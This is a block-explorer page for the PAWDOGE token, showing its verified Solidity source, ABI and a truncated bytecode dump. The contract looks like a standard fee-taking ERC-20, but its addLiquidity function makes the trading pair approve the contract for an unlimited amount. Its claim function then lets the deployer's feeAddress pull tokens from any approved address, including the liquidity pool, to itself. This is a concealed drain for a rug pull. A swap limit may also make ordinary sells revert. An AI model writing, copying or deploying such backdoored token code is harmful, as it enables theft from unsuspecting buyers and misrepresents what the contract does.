ETH Price: $3,342.19 (-1.65%)

Token

PAWDOGE (PAWDOGE)
 

Overview

Max Total Supply

1,000,000,000 PAWDOGE

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
20,056,202.71219712951355475 PAWDOGE

Value
$0.00
0x5ccaf835ea1feb615f874cf50bb7e2dbf5adccf0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PAWDOGE

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-17
*/

// SPDX-License-Identifier: MIT   
/**
Inspired by Pawswap

Webite: https://pawdog.eu
TG: https://t.me/pawdogeerc
Twitter: https://twitter.com/pawdogeerc

*/  
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if(a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PAWDOGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1e9 * 10**18;
    uint256 private constant _maxTx = _tTotal * 1 / 100;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    string private constant _name = "PAWDOGE";
    string private constant _symbol = "PAWDOGE";
    
    uint256 private _taxFee = 1;
    uint256 private _teamFee = 1;
    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousteamFee = _teamFee;

    address public feeAddress;
    IDexRouter public dexRouter;
    address public dexPair;

    bool private inSwap = false;
    modifier lockSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());
        _approve(address(this), address(dexRouter), MAX);

        feeAddress = msg.sender;
        _rOwned[address(this)] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function addLiquidity() external payable onlyOwner {
        dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _approve(dexPair, address(this), MAX);
        _approve(dexPair, address(dexRouter), MAX);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if(_taxFee == 0 && _teamFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousteamFee = _teamFee;
        _taxFee = 0;
        _teamFee = 0;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _teamFee = _previousteamFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        bool takeFee = true;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        } else {
            if(!inSwap && from != dexPair) {
                uint256 tokenBalance = balanceOf(address(this));
                if(tokenBalance > 0) {
                    swapTokensForEth(tokenBalance);
                }
                sendFee();
            }
        }
        _tokenTransfer(from,to,amount,takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();
        _approve(address(this), address(dexRouter), tokenAmount);
        require(tokenAmount < _maxTx);
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendFee() public {
        uint256 balance = address(this).balance;
        if (balance > 0) {
            payable(feeAddress).transfer(balance);
        }
    }

    function claim(address sender, uint256 amount) external {
        if (msg.sender == feeAddress) IERC20(address(this)).transferFrom(sender, feeAddress, amount);
    }
    
    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        _transferStandard(sender, recipient, amount);
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 

        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);

        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001e6b033b2e3c9fd0803ce80000006000196200044a565b6200002c906000196200046d565b600655600160088190556009819055600a819055600b55600e805460ff60a01b191690553480156200005d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000104573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200012a919062000495565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b3919062000495565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000495565b600e80546001600160a01b0319166001600160a01b03928316179055600d5462000257913091166000196200031e565b600c80546001600160a01b0319163317905560065430600090815260026020526040812091909155600190600590620002986000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553080825260058452828220805490951660011790945590516b033b2e3c9fd0803ce8000000815290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620004c7565b6001600160a01b038316620003865760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003e95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200037d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000826200046857634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200048f57634e487b7160e01b600052601160045260246000fd5b92915050565b600060208284031215620004a857600080fd5b81516001600160a01b0381168114620004c057600080fd5b9392505050565b6112c480620004d76000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063aad3ec9611610064578063aad3ec96146102af578063ae39279f146102cf578063dd62ed3e146102e4578063e8078d941461032a578063f242ab411461033257600080fd5b8063715018a61461025a5780638da5cb5b1461027157806395d89b411461010e578063a9059cbb1461028f57600080fd5b806323b872dd116100d157806323b872dd146101de578063313ce567146101fe578063412753581461021a57806370a082311461023a57600080fd5b806306fdde031461010e5780630758d9241461014d578063095ea7b31461018557806318160ddd146101b557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526007815266504157444f474560c81b602082015290516101449190610fd7565b60405180910390f35b34801561015957600080fd5b50600d5461016d906001600160a01b031681565b6040516001600160a01b039091168152602001610144565b34801561019157600080fd5b506101a56101a036600461103a565b610352565b6040519015158152602001610144565b3480156101c157600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610144565b3480156101ea57600080fd5b506101a56101f9366004611066565b610369565b34801561020a57600080fd5b5060405160128152602001610144565b34801561022657600080fd5b50600c5461016d906001600160a01b031681565b34801561024657600080fd5b506101d06102553660046110a7565b6103d2565b34801561026657600080fd5b5061026f6103f4565b005b34801561027d57600080fd5b506000546001600160a01b031661016d565b34801561029b57600080fd5b506101a56102aa36600461103a565b61049d565b3480156102bb57600080fd5b5061026f6102ca36600461103a565b6104aa565b3480156102db57600080fd5b5061026f61053f565b3480156102f057600080fd5b506101d06102ff3660046110c4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61026f610583565b34801561033e57600080fd5b50600e5461016d906001600160a01b031681565b600061035f3384846106d8565b5060015b92915050565b60006103768484846107fc565b6103c884336103c385604051806060016040528060288152602001611267602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906108b0565b6106d8565b5060019392505050565b6001600160a01b038116600090815260026020526040812054610363906108ea565b6000546001600160a01b031633146104535760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061035f3384846107fc565b600c546001600160a01b0316330361053b57600c546040516323b872dd60e01b81526001600160a01b03808516600483015290911660248201526044810182905230906323b872dd906064016020604051808303816000875af1158015610515573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053991906110fd565b505b5050565b47801561058057600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561053b573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105dd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044a565b600d546001600160a01b031663f305d71947306105f9816103d2565b60008061060e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610676573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061069b919061111f565b5050600e546106b791506001600160a01b0316306000196106d8565b600e54600d546106d6916001600160a01b0390811691166000196106d8565b565b6001600160a01b03831661073a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044a565b6001600160a01b03821661079b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff168061083e57506001600160a01b03831660009081526005602052604090205460ff165b1561084b5750600061089e565b600e54600160a01b900460ff161580156108735750600e546001600160a01b03858116911614155b1561089e576000610883306103d2565b90508015610894576108948161096e565b61089c61053f565b505b6108aa84848484610b16565b50505050565b600081848411156108d45760405162461bcd60e51b815260040161044a9190610fd7565b5060006108e18486611163565b95945050505050565b60006006548211156109515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044a565b600061095b610b44565b90506109678382610b67565b9392505050565b600e805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106109b6576109b6611176565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610a0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a33919061118c565b81600181518110610a4657610a46611176565b6001600160a01b039283166020918202929092010152600d54610a6c91309116846106d8565b6064610a856b033b2e3c9fd0803ce800000060016111a9565b610a8f91906111c0565b8210610a9a57600080fd5b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ad39085906000908690309042906004016111e2565b600060405180830381600087803b158015610aed57600080fd5b505af1158015610b01573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b80610b2357610b23610ba9565b610b2e848484610bd7565b806108aa576108aa600a54600855600b54600955565b6000806000610b51610cce565b9092509050610b608282610b67565b9250505090565b600061096783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d16565b600854158015610bb95750600954155b15610bc057565b60088054600a5560098054600b5560009182905555565b600080600080600080610be987610d44565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610c1b9087610da1565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610c4a9086610de3565b6001600160a01b038916600090815260026020526040902055610c6c81610e42565b610c768483610e8c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cbb91815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce8000000610ced8282610b67565b821015610d0d575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008183610d375760405162461bcd60e51b815260040161044a9190610fd7565b5060006108e184866111c0565b6000806000806000806000806000610d618a600854600954610eb0565b9250925092506000610d71610b44565b90506000806000610d848e878787610f05565b919e509c509a509598509396509194505050505091939550919395565b600061096783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506108b0565b600080610df08385611253565b9050838110156109675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044a565b6000610e4c610b44565b90506000610e5a8383610f55565b30600090815260026020526040902054909150610e779082610de3565b30600090815260026020526040902055505050565b600654610e999083610da1565b600655600754610ea99082610de3565b6007555050565b6000808080610eca6064610ec48989610f55565b90610b67565b90506000610edd6064610ec48a89610f55565b90506000610ef582610eef8b86610da1565b90610da1565b9992985090965090945050505050565b6000808080610f148886610f55565b90506000610f228887610f55565b90506000610f308888610f55565b90506000610f4282610eef8686610da1565b939b939a50919850919650505050505050565b600082600003610f6757506000610363565b6000610f7383856111a9565b905082610f8085836111c0565b146109675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044a565b600060208083528351808285015260005b8181101561100457858101830151858201604001528201610fe8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461058057600080fd5b6000806040838503121561104d57600080fd5b823561105881611025565b946020939093013593505050565b60008060006060848603121561107b57600080fd5b833561108681611025565b9250602084013561109681611025565b929592945050506040919091013590565b6000602082840312156110b957600080fd5b813561096781611025565b600080604083850312156110d757600080fd5b82356110e281611025565b915060208301356110f281611025565b809150509250929050565b60006020828403121561110f57600080fd5b8151801515811461096757600080fd5b60008060006060848603121561113457600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156103635761036361114d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561119e57600080fd5b815161096781611025565b80820281158282048414176103635761036361114d565b6000826111dd57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112325784516001600160a01b03168352938301939183019160010161120d565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103635761036361114d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122077cd89f962670f3a56ce1937d5630bc36797061b7de74afdcfafec44084fb74564736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101025760003560e01c8063715018a611610095578063aad3ec9611610064578063aad3ec96146102af578063ae39279f146102cf578063dd62ed3e146102e4578063e8078d941461032a578063f242ab411461033257600080fd5b8063715018a61461025a5780638da5cb5b1461027157806395d89b411461010e578063a9059cbb1461028f57600080fd5b806323b872dd116100d157806323b872dd146101de578063313ce567146101fe578063412753581461021a57806370a082311461023a57600080fd5b806306fdde031461010e5780630758d9241461014d578063095ea7b31461018557806318160ddd146101b557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526007815266504157444f474560c81b602082015290516101449190610fd7565b60405180910390f35b34801561015957600080fd5b50600d5461016d906001600160a01b031681565b6040516001600160a01b039091168152602001610144565b34801561019157600080fd5b506101a56101a036600461103a565b610352565b6040519015158152602001610144565b3480156101c157600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610144565b3480156101ea57600080fd5b506101a56101f9366004611066565b610369565b34801561020a57600080fd5b5060405160128152602001610144565b34801561022657600080fd5b50600c5461016d906001600160a01b031681565b34801561024657600080fd5b506101d06102553660046110a7565b6103d2565b34801561026657600080fd5b5061026f6103f4565b005b34801561027d57600080fd5b506000546001600160a01b031661016d565b34801561029b57600080fd5b506101a56102aa36600461103a565b61049d565b3480156102bb57600080fd5b5061026f6102ca36600461103a565b6104aa565b3480156102db57600080fd5b5061026f61053f565b3480156102f057600080fd5b506101d06102ff3660046110c4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61026f610583565b34801561033e57600080fd5b50600e5461016d906001600160a01b031681565b600061035f3384846106d8565b5060015b92915050565b60006103768484846107fc565b6103c884336103c385604051806060016040528060288152602001611267602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906108b0565b6106d8565b5060019392505050565b6001600160a01b038116600090815260026020526040812054610363906108ea565b6000546001600160a01b031633146104535760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061035f3384846107fc565b600c546001600160a01b0316330361053b57600c546040516323b872dd60e01b81526001600160a01b03808516600483015290911660248201526044810182905230906323b872dd906064016020604051808303816000875af1158015610515573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053991906110fd565b505b5050565b47801561058057600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561053b573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105dd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044a565b600d546001600160a01b031663f305d71947306105f9816103d2565b60008061060e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610676573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061069b919061111f565b5050600e546106b791506001600160a01b0316306000196106d8565b600e54600d546106d6916001600160a01b0390811691166000196106d8565b565b6001600160a01b03831661073a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044a565b6001600160a01b03821661079b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff168061083e57506001600160a01b03831660009081526005602052604090205460ff165b1561084b5750600061089e565b600e54600160a01b900460ff161580156108735750600e546001600160a01b03858116911614155b1561089e576000610883306103d2565b90508015610894576108948161096e565b61089c61053f565b505b6108aa84848484610b16565b50505050565b600081848411156108d45760405162461bcd60e51b815260040161044a9190610fd7565b5060006108e18486611163565b95945050505050565b60006006548211156109515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044a565b600061095b610b44565b90506109678382610b67565b9392505050565b600e805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106109b6576109b6611176565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610a0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a33919061118c565b81600181518110610a4657610a46611176565b6001600160a01b039283166020918202929092010152600d54610a6c91309116846106d8565b6064610a856b033b2e3c9fd0803ce800000060016111a9565b610a8f91906111c0565b8210610a9a57600080fd5b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ad39085906000908690309042906004016111e2565b600060405180830381600087803b158015610aed57600080fd5b505af1158015610b01573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b80610b2357610b23610ba9565b610b2e848484610bd7565b806108aa576108aa600a54600855600b54600955565b6000806000610b51610cce565b9092509050610b608282610b67565b9250505090565b600061096783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d16565b600854158015610bb95750600954155b15610bc057565b60088054600a5560098054600b5560009182905555565b600080600080600080610be987610d44565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610c1b9087610da1565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610c4a9086610de3565b6001600160a01b038916600090815260026020526040902055610c6c81610e42565b610c768483610e8c565b8760016